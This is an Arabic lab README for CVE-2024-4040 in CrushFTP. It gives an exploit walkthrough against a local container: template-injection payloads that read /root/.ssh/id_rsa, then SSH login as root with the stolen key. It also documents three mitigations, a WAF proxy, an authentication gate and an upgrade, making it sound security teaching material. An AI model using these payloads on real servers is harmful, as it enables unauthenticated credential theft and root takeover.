
إثبات المفهوم لـ CVE-2024-4040 (CrushFTP SSTI -> LFI غير مصادق عليه) في بيئة مختبر CS443 خاضعة للتحكم - للاستخدام التعليمي/المصرح به فقط.
| الحقل | التفاصيل |
|---|
| CVE | CVE-2024-4040 |
| البرنامج المتأثر | CrushFTP < 10.7.1 (فرع v10) / < 11.1.0 (فرع v11) |
| نوع الثغرة | حقن القوالب من جانب الخادم (SSTI) → قراءة ملفات محلية دون مصادقة |
| درجة CVSS | 9.8 حرجة |
| التأثير | يمكن للمهاجمين غير المصادقين قراءة أي ملفات من نظام ملفات الخادم |
يقوم WebInterface في CrushFTP بتقييم تعبيرات القوالب في معامل path لأمر zip دون تنقية. يمكن للمهاجم غير المصادق الحصول على ملفات تعريف ارتباط جلسة مجهولة، ثم استخدام ملفات تعريف الارتباط هذه لتمرير حمولات قوالب ({working_dir}، <INCLUDE>…</INCLUDE>) يقوم الخادم بتقييمها وإعادتها — مما يسمح بقراءة أي ملف عبر المضيف.
| المكون | القيمة |
|---|---|
| الهدف | http://localhost:8080 |
| إصدار CrushFTP الأساسي في إثبات المفهوم | 10.3.0 (قابل للاستغلال عمدًا) |
| بيئة اختبار التخفيف 3 | حاوية منفصلة تعمل CrushFTP 11.x (الفرع المصحح) |
| منفذ SSH (الحاوية) | 2222 → 22 |
| بيانات اعتماد المسؤول | admin / admin |
| وقت تشغيل الحاوية | Docker (Compose) |
pip install requests rich
| البرنامج | المصدر | الغرض |
|---|---|---|
crushed.py | Stuub/CVE-2024-4040-SSTI-LFI-PoC | استغلال كامل لـ SSTI/LFI — سرقة الجلسة، قراءة أي ملف |
recon.py | هذا المستودع | كشف الإصدار، اختبار SSTI مباشر، تأكيد الثغرة |
docker-compose up -d
انتظر حوالي 10 ثوانٍ حتى يتم تهيئة CrushFTP بالكامل قبل تشغيل البرامج النصية.
لا توجد حاجة لخطوة استطلاع منفصلة هنا لأن crushed.py يتحقق بالفعل من إمكانية الاستغلال أثناء التنفيذ.
python crushed.py -t http://localhost:8080 -l /root/.ssh/id_rsa
سيقوم البرنامج النصي بـ:
CrushAuth / currentAuth من /WebInterface/{working_dir} لحل دليل تثبيت CrushFTP<INCLUDE>/root/.ssh/id_rsa</INCLUDE> لقراءة الملف المستهدفانسخ كتلة المفتاح الخاص من المخرجات (كل شيء من -----BEGIN OPENSSH PRIVATE KEY----- إلى -----END OPENSSH PRIVATE KEY-----).
cat > stolen_id_rsa << 'EOF'
-----BEGIN OPENSSH PRIVATE KEY-----
<paste key from output>
-----END OPENSSH PRIVATE KEY-----
EOF
chmod 600 stolen_id_rsa
ssh -i stolen_id_rsa root@localhost -p 2222 -o StrictHostKeyChecking=no
whoami
# Expected: root
id
# Expected: uid=0(root) gid=0(root) groups=0(root)
hostname
# Expected: <container_id>
Unauthenticated attacker
│
▼
GET /WebInterface/ ← obtains anonymous CrushAuth + currentAuth cookies
│
▼
POST /WebInterface/function/
?command=zip
&path={hostname} ← SSTI confirmed — template evaluated by server
│
▼
POST /WebInterface/function/
?command=zip
&path={working_dir} ← leaks absolute installation path
│
▼
POST /WebInterface/function/
?command=zip
&path=<INCLUDE>/root/.ssh/id_rsa</INCLUDE> ← arbitrary file read
│
▼
SSH -i stolen_id_rsa root@localhost -p 2222 ← full root shell
crushed.py| المشكلة | الموقع | التفاصيل |
|---|---|---|
| تبعية مفقودة | الأسطر 6–9 | يتطلب تشغيل pip install rich قبل التنفيذ |
| تحليل XML هش | الأسطر 86، 140 | يتعطل في استجابات الخادم غير XML؛ لا يوجد معالجة لـ ParseError |
| نمط الرمز المميز صارم جدًا | الأسطر 160–161 | قد لا يتطابق نمط CrushAuth=…; currentAuth=… مع جميع تنسيقات sessions.obj |
| HTTP 404 فقط | السطر 53 | التقاط ملفات تعريف الارتباط ينجح فقط عند 404؛ يمر بصمت دون إعلام في رموز الحالة الأخرى |
يعمل جدار حماية تطبيقات الويب (WAF) كوكيل عكسي يقوم بفحص حركة المرور الواردة HTTP/S قبل وصولها إلى CrushFTP. باستخدام NGINX مع ModSecurity، يتم حظر الطلبات الضارة التي تستغل CVE-2024-4040 عند حافة الشبكة دون تعديل CrushFTP نفسه.
../، %2e%2e) في URIs الطلبات وملفات تعريف الارتباطاستخدم Mitigation 1/docker-compose.yaml:
services:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
استخدم Mitigation 1/nginx.conf:
worker_processes 1;
events {
worker_connections 1024;
}
http {
# Enable ModSecurity
modsecurity on;
modsecurity_rules_file /etc/modsecurity.d/setup.conf;
upstream crushftp {
server crushftp:8080;
}
server {
listen 80;
server_name localhost;
# Proxy all traffic to CrushFTP
location / {
proxy_pass http://crushftp;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Return 403 for blocked requests
error_page 403 /403.html;
location = /403.html {
return 403 '{"error": "Request blocked by WAF"}';
}
}
}
المهاجم -> NGINX WAF (المنفذ 80) -> يحجب الضار -> 403 ممنوع
-> يمرر النظيف -> CrushFTP:8080
يمكن استغلال CVE-2024-4040 دون مصادقة. في هذا المختبر، يتم حظر الوصول بأسلوب مجهول عند طبقة NGINX عن طريق طلب رأس Authorization قبل توجيه المسارات الحساسة إلى CrushFTP.
crushed.py على الوصول غير المصادق؛ يتم رفض الطلبات بدون بيانات اعتماد بـ 401/WebInterface/ و / ما لم تكن بيانات المصادقة موجودةservices:
crushftp:
build: .
expose:
- "8080"
ports:
- "2222:22"
nginx:
image: nginx:latest
ports:
- "8080:80"
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
depends_on:
- crushftp
events {}
http {
server {
listen 80;
# Allow static assets unauthenticated
location ~* \.(css|js|png|jpg|ico|gif)$ {
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
}
# Block unauthenticated access to WebInterface
location /WebInterface/ {
if ($http_authorization = "") {
return 401 "Authentication Required - Anonymous sessions disabled";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Authorization $http_authorization;
}
# Block everything else unauthenticated
location / {
if ($http_authorization = "") {
return 401 "Authentication Required";
}
proxy_pass http://crushftp:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
}
# Confirm unauthenticated request is rejected by NGINX
curl -v http://localhost:8080/WebInterface/function/?command=getUsername
# Expected: 401 Unauthorized
# Optional: authenticated request should be forwarded
curl -v -u "admin:admin" http://localhost:8080/WebInterface/function/?command=getUsername
الترقية إلى CrushFTP 11 هي الإصلاح الأكثر فعالية ودائم. يضيف التصحيح التحقق الصارم من المدخلات في حل مسار VFS، مما يزيل السبب الجذري لـ CVE-2024-4040.
crushed.py تعمل ضد الإصدار 11قم بتحديث Dockerfile لاستخدام CrushFTP 11:
FROM eclipse-temurin:21-jdk-jammy
WORKDIR /var/opt
RUN apt-get update -y && apt-get -y install unzip wget openssh-server
COPY CrushFTP11.zip .
RUN unzip CrushFTP11.zip
EXPOSE 21
EXPOSE 8080
EXPOSE 443
EXPOSE 22
WORKDIR /var/opt/CrushFTP11
RUN java -Xmx1024m -jar CrushFTP.jar -a "admin" "admin"
CMD service ssh start && java -Xmx1024m -jar CrushFTP.jar -d
أعد بناء الحاوية:
docker-compose down --rmi all
docker-compose build --no-cache
docker-compose up -d
# Run the exploit against v11 - should fail
# Note: this repository's script uses -t/--target.
python3 crushed.py -t http://localhost:8080
# Expected: exploit returns no output or connection error